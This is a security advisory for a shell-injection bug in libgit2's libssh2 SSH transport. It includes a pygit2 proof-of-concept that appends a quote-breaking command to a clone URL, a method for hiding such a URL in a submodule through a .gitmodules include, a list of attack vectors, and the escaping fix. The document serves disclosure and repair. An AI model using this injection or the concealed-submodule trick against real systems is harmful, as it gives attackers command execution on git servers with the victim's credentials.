Skip to content

GHSA-xqj4-2j5v-rr75

CVE Information

Summary

gen_proto() in src/libgit2/transports/ssh_libssh2.c builds the remote git command by pasting the URL path between two single quotes without escaping it. A quote inside the path closes the quoting early and the remainder runs as shell commands on the SSH host.

The same construct in the exec backend was fixed in commit f05143b9, 2025-10-13, "ssh_exec: escape remote paths properly". That commit changed only ssh_exec.c. ssh_libssh2.c still concatenates the path raw, and it is the backend USE_SSH=ON selects.

Reproduced on a v1.9.6 build configured with USE_SSH=ON, and on the libgit2 1.9.4 shipped in the pygit2 wheel. The same code is present on main, confirmed by reading the source.

Both currently maintained branches are affected. v1.9.6 and v1.8.6, released the same day, each carry the escaped ssh_exec.c and the unescaped ssh_libssh2.c, so a fix needs backporting to 1.8.x as well.

The bug

ssh_libssh2.c:79-82

git_str_puts(request, cmd);
git_str_puts(request, " '");
git_str_puts(request, repo);      /* repo = url->path, unescaped */
git_str_puts(request, "'");

The result goes to libssh2_channel_exec() at line 99, and sshd runs it through the account's login shell.

path /repo.git          ->  git-upload-pack '/repo.git'
path /repo.git'; id; '  ->  git-upload-pack '/repo.git'; id; ''

The only check on this path is at ssh_libssh2.c:805-807, whose comment states the intent:

/* Safety check: like git, we forbid paths that look like an option as
 * that could lead to injection on the remote side */
if (git_process__is_cmdline_option(s->url.path)) {

git_process__is_cmdline_option is return (str && str[0] == '-'); at src/util/process.h:116. It tests the first character only, so quotes are not checked.

ssh_exec.c:198 handles the same value:

git_str_puts_escaped(&remote_cmd, url->path, "'!", "'\\", "'")

Reproduce

A bare repo on any SSH host you can log into with a key:

git init --bare /srv/repo.git

Then:

import os, pygit2
# any key that already authenticates to HOST; paths must be absolute, ~ is not expanded
PUB  = os.path.expanduser("~/.ssh/id_ed25519.pub")
PRIV = os.path.expanduser("~/.ssh/id_ed25519")

class CB(pygit2.RemoteCallbacks):
    def certificate_check(self, cert, valid, host): return True
    def credentials(self, url, username, allowed):
        return pygit2.Keypair("USER", PUB, PRIV, "")

pygit2.clone_repository("ssh://USER@HOST/srv/repo.git", "/tmp/a", callbacks=CB())
pygit2.clone_repository("ssh://USER@HOST/srv/repo.git'; touch /tmp/PWNED; '", "/tmp/b", callbacks=CB())

Both clones return without error. /tmp/PWNED exists on the host only after the second one. The two URLs differ by the appended '; touch /tmp/PWNED; ' and nothing else. It runs as the target account; root is not required.

If authentication fails before you get that far, check the server log for signature algorithm ssh-rsa not in PubkeyAcceptedAlgorithms. Some libssh2 builds still offer SHA-1 ssh-rsa, which OpenSSH 9 rejects by default. An ed25519 key avoids it. That is a key-algorithm issue in the harness, unrelated to this report.

Delivery

The URL does not have to be handed over directly. It can be carried in a repository the victim clones.

At the repo root, .gitmodules, the file a reviewer opens:

[submodule "vendor"]
    path = vendor
    url = https://github.com/example/json-lib.git
[include]
    path = .ci-cache

and .ci-cache beside it, name arbitrary:

[submodule "vendor"]
    url = "ssh://git@INTERNAL-HOST/repo.git'; touch /tmp/FROM_REPO; '"

plus a gitlink for vendor in the index, mode 160000. Without it nothing is fetched and the files are inert.

.gitmodules is parsed by the generic config backend, which handles include.path at config_file.c:826, so .ci-cache sets submodule.vendor.url a second time and the later value wins:

reviewer reads : https://github.com/example/json-lib.git
libgit2 uses   : ssh://git@INTERNAL-HOST/repo.git'; touch /tmp/FROM_REPO; '

Cloning does not fetch submodules and does not reach this code. The submodule update does. Measured separately against the same repo:

clone           ->  no connection, no marker
update          ->  connection made, marker present

It fires during connection setup, so it runs even when the update then fails.

libgit2 does not drive submodule updates itself, so this route needs the calling application to perform one. Build tooling does so routinely, since the submodule's sources are required to compile.

Core git reads .gitmodules with includes disabled: config_from_gitmodules() in submodule-config.c passes const struct config_options opts = { 0 }, leaving respect_includes at 0. libgit2 has no equivalent, which may be worth addressing separately.

Attack vectors

Any path where an attacker-controlled URL reaches a call that opens the transport: git_clone, or git_remote_connect / git_remote_fetch / git_remote_push / git_remote_ls on a remote holding that URL.

  • A URL submitted by a user. Import, mirror, and scanning features that accept a repository URL and clone it server-side. No repository or submodule is involved, the attacker fills in a field.
  • A submodule in a repository the victim builds. Covered above. The URL is hidden from review.
  • A dependency manifest. Build tooling that resolves git dependencies from a file in the repository.
  • A remote or mirror list the attacker can contribute to.

In each case the attacker supplies text only.

Impact

Command execution on the SSH host named in the URL, as the account the victim's key authenticates to. The attacker supplies no credential; the victim's key performs the authentication.

The realistic target is an internal git server or another reachable host where the git account has a normal shell. The attacker gets code execution on a machine they have no access to: read or write the repositories that account owns, or append to its authorized_keys.

Preconditions

Build uses the libssh2 provider USE_SSH=ON and USE_SSH=libssh2 both select it, per cmake/SelectSSH.cmake. Only an explicit exec avoids it. The upstream default is no SSH transport at all.
Target account has a login shell With a forced command in authorized_keys the string is only exposed in $SSH_ORIGINAL_COMMAND and never evaluated. Tested both ways: the same payload ran on a shell account and did not run on a forced-command account.
Victim authenticates to the host Host key already known, or the application's certificate_check accepts it.

Fix

  git_str_puts(request, cmd);
  git_str_puts(request, " '");
- git_str_puts(request, repo);
+ git_str_puts_escaped(request, repo, "'!", "'\\", "'");
  git_str_puts(request, "'");

The same arguments ssh_exec.c:198 uses. Per src/util/str.h:275 each character in '! is wrapped with the prefix '\ and the suffix ', so a quote becomes '\''. The existing git_str_oom(request) check below covers allocation failure.